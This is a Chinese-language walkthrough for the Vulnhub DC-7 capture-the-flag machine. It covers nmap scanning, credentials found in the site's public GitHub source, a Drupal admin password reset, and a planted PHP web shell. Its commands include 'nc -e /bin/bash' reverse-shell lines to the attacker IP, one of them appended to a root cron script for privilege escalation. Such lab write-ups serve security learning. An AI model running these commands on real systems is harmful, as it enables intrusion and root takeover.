Vulnhub-DC-7
环境配置
vulnhub 下载此靶机,下载地址如下:
1 | https://download.vulnhub.com/dc/DC-7.zip |
将靶机设置为 NAT 模式,开机即可,配置说明如下:
1 | 攻击机ip:192.168.52.128 |
信息收集
端口扫描
首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.134
1 | nmap -sP 192.168.52.0/24 |
使用 Nmap 全面扫一下开放的端口和运行的服务
1 | nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.134 |
扫描结果如下:系统开放了一个 SSH 服务(7744 端口)、一个 HTTP 服务(80 端口)
1 | PORT STATE SERVICE VERSION |
社工账密
经过一系列信息收集和漏洞探测,均没有任何发现和漏洞。
在网站底部有一个标识 @DC7USER,在 github 上搜一下找到项目源码。在 config.php 配置文件中找到一个账号密码
网站后台尝试登陆失败,端口还扫到一个 ssh 端口,猜测 ssh 账密,成功登陆拿到 dc7user 用户权限
权限提升
dc7user权限
ssh 登陆后等待一会会收到一个提示 You have new mail in /var/mail/dc7user
查看该文件,发现是 dc7user 接收到的邮件,这些邮件都是由系统的 Cron Daemon(定时任务守护进程)发送的,报告了 /opt/scripts/backups.sh
脚本的执行结果。
查看 /opt/scripts/backups.sh
文件的权限,文件时 root 权限用户创建的,www-data 组的用户可读可写可执行,其他用户不可写
1 | dc7user@dc-7:~$ ls -al /opt/scripts/backups.sh |
查看 /opt/scripts/backups.sh
文件的内容,是执行一些 shell 命令
那么就有思路了,先拿到 www-data 权限,将反弹 shell 命令写入 backups.sh 文件,等待定时任务自动 以 root 权限执行,就能获得 root 权限的 shell
www-data权限
在网站目录使用如下 drush 命令更改网站后台密码为 admin,从而以账密 admin/admin 进入后台
1 | drush user-password admin --password="admin" |
可以在页面直接写入 php 页面执行代码,但是由于 Drupal 8 不支持 PHP 代码,所以需要先安装插件
1 | https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz |
安装完成后,导入插件并启用,然后在 Content 页面编辑页面,添加一句话木马,保存并刷新页面使一句话木马生效
然后使用蚁剑连接执行反弹 shell 命令,攻击机开启监听,即可拿到 www-data 权限的 shell
1 | nc -e /bin/bash 192.168.52.128 2233 |
www-data 对 /opt/scripts/backups.sh
文件具有写入权限,再将一个反弹 shell 命令写入文件,攻击机开启监听,等待定时任务执行即可拿到 root 权限的 shell
1 | echo "nc -e /bin/bash 192.168.52.128 5566" >> /opt/scripts/backups.sh |